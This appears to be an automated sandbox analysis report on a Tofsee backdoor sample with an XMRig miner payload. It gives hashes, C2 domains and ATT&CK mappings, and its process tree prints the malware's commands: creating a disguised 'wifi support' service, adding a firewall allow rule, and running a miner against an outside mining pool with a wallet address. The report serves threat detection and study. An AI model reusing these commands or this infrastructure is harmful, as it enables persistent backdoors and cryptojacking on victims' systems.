Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-05-2023 05:54

General

  • Target

    file.exe

  • Size

    233KB

  • MD5

    b76e2d8db8266762c770fbf801b33917

  • SHA1

    f8a8d5ced370552210f2b449ec2822c48e470bac

  • SHA256

    54f74659a4f85bab878e448b3ae96242c24f98f054cd7a16ce2a6b6daae4a70e

  • SHA512

    55b1de5e83d1f2cb7840b2eee2ac40dfcb0c1d289568b63a41e4b459f5fbb599c934df2805c1dd9b2b344133a39d4c2950997796605624ffff4dac1b32d7f76b

  • SSDEEP

    3072:EpqwYirEGOie1jXG7NlKAwQgbzRKr+6g3SVdwMByxMKiY54mYidF5Fkn:fwkGOCKbQIKL8vChm4m

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2288
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cbgfvwhb\
      2⤵
        PID:2152
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ywghjfio.exe" C:\Windows\SysWOW64\cbgfvwhb\
        2⤵
          PID:4764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create cbgfvwhb binPath= "C:\Windows\SysWOW64\cbgfvwhb\ywghjfio.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1400
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description cbgfvwhb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3860
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start cbgfvwhb
          2⤵
          • Launches sc.exe
          PID:312
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4204
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2288 -s 1252
          2⤵
          • Program crash
          PID:832
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2288 -ip 2288
        1⤵
          PID:3480
        • C:\Windows\SysWOW64\cbgfvwhb\ywghjfio.exe
          C:\Windows\SysWOW64\cbgfvwhb\ywghjfio.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2896
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3144
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3208
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2896 -s 516
            2⤵
            • Program crash
            PID:444
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2896 -ip 2896
          1⤵
            PID:4976

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ywghjfio.exe
            Filesize

            11.1MB

            MD5

            a4b490df4e0aa0841797d08e608922ae

            SHA1

            f8fba14bd16faf116badc874287409aaeb455d12

            SHA256

            fe7eb70f4905d26b1e07e6db3203e5b7e9c1bab6f80077d6bbe44b05b6e61dbd

            SHA512

            7262ac33dd92c8422d060184e4a177c4b37bfcf688ce98356b67c10cffa9ecf2d336bc8775d3bceb4adb0510d36d36c515ba4cbab6ef877ece1e081d48d4d1d5

          • C:\Windows\SysWOW64\cbgfvwhb\ywghjfio.exe
            Filesize

            11.1MB

            MD5

            a4b490df4e0aa0841797d08e608922ae

            SHA1

            f8fba14bd16faf116badc874287409aaeb455d12

            SHA256

            fe7eb70f4905d26b1e07e6db3203e5b7e9c1bab6f80077d6bbe44b05b6e61dbd

            SHA512

            7262ac33dd92c8422d060184e4a177c4b37bfcf688ce98356b67c10cffa9ecf2d336bc8775d3bceb4adb0510d36d36c515ba4cbab6ef877ece1e081d48d4d1d5

          • memory/2288-138-0x0000000000400000-0x00000000006B8000-memory.dmp
            Filesize

            2.7MB

          • memory/2288-135-0x0000000000830000-0x0000000000843000-memory.dmp
            Filesize

            76KB

          • memory/2896-145-0x0000000000400000-0x00000000006B8000-memory.dmp
            Filesize

            2.7MB

          • memory/2896-140-0x0000000000830000-0x0000000000843000-memory.dmp
            Filesize

            76KB

          • memory/3144-167-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-170-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-146-0x00000000004C0000-0x00000000004D5000-memory.dmp
            Filesize

            84KB

          • memory/3144-147-0x00000000004C0000-0x00000000004D5000-memory.dmp
            Filesize

            84KB

          • memory/3144-149-0x00000000004C0000-0x00000000004D5000-memory.dmp
            Filesize

            84KB

          • memory/3144-150-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/3144-153-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/3144-154-0x0000000002350000-0x0000000002356000-memory.dmp
            Filesize

            24KB

          • memory/3144-157-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-160-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-161-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-162-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-163-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-164-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-166-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-165-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-141-0x00000000004C0000-0x00000000004D5000-memory.dmp
            Filesize

            84KB

          • memory/3144-168-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-169-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-144-0x00000000004C0000-0x00000000004D5000-memory.dmp
            Filesize

            84KB

          • memory/3144-171-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-172-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-173-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-174-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-175-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-176-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/3144-177-0x00000000025F0000-0x00000000025F5000-memory.dmp
            Filesize

            20KB

          • memory/3144-180-0x00000000025F0000-0x00000000025F5000-memory.dmp
            Filesize

            20KB

          • memory/3144-181-0x0000000007040000-0x000000000744B000-memory.dmp
            Filesize

            4.0MB

          • memory/3144-184-0x0000000007040000-0x000000000744B000-memory.dmp
            Filesize

            4.0MB

          • memory/3144-185-0x0000000007590000-0x0000000007597000-memory.dmp
            Filesize

            28KB

          • memory/3208-189-0x0000000000A30000-0x0000000000B21000-memory.dmp
            Filesize

            964KB

          • memory/3208-194-0x0000000000A30000-0x0000000000B21000-memory.dmp
            Filesize

            964KB

          • memory/3208-195-0x0000000000A30000-0x0000000000B21000-memory.dmp
            Filesize

            964KB

          • memory/3208-196-0x0000000000A30000-0x0000000000B21000-memory.dmp
            Filesize

            964KB

          • memory/3208-197-0x0000000000A30000-0x0000000000B21000-memory.dmp
            Filesize

            964KB

          • memory/3208-199-0x0000000000A30000-0x0000000000B21000-memory.dmp
            Filesize

            964KB

          • memory/3208-198-0x0000000000A30000-0x0000000000B21000-memory.dmp
            Filesize

            964KB

          • memory/3208-200-0x0000000000A30000-0x0000000000B21000-memory.dmp
            Filesize

            964KB